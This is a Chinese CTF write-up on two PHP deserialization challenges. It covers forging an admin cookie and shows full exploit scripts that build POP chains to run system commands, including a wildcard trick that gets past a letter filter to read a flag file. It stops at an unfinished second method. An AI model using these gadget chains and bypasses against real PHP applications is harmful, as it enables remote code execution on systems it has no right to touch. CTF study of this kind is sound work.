HZNUCTF2023-ppppop
参考博客:HZNUCTF2023初赛 (yuque.com)
打开页面,没有什么东西,抓个包看看(dir一下网站就崩了。。。。)
发现在cookie那里存在一串貌似base64的编码,解码看看是一串序列化后的字符串
直接将isAdmin后面的b:0
改成b:1
伪造身份为admin刷新页面之后源码会高亮出来
成功显示页面源码
<?php
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
发现这就是一个很简单的php反序列化,链子很简单,其实就是想用A类来调用某个类的某个方法,链子为:__destruct() => __call()
构造exp为
<?php
class A {
public $className="B";
public $funcName="system";
public $args="ls /"; //最后发现flag是在env环境变量中的
}
$a=new A();
$b=base64_encode(strrev(serialize($a)));
echo $b;
?>
nkctf2023-baby_php
参考博客:NKCTF2023&数字人才挑战赛web部分wp - 码农教程 (manongjc.com)
NKCTF2023 web部分wp_丨Arcueid丨的博客-CSDN博客
源码:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
打开环境是一道php反序列化题,开始源码审计
搞出pop链,链子__destruct()->__toString()->__invoke()
这里过滤了f ,l, a,g所以导致我们无法使用ls查看文件目录
但是dir没有杯ban所以这里可以使用dir来进行查看目录
查看目录后flag在/f1ag,然后*?也被禁了
方法一:more类似于env ,[0-z]等于* ,直接使用[a-z]进行通配匹配
more /[0-z]1[0-z][0-z]
exp:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg ;
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$a=new Welcome();
$a->arg='welcome_to_NKCTF';
$a->name=new Hell0();
$a->name->func=new Happy();
$a->name->func->shell="system";
$a->name->func->cmd="more /[0-z]1[0-z][0-z]";
echo serialize($a);
?>
方法二:urldecode来绕
参考一个师傅的解法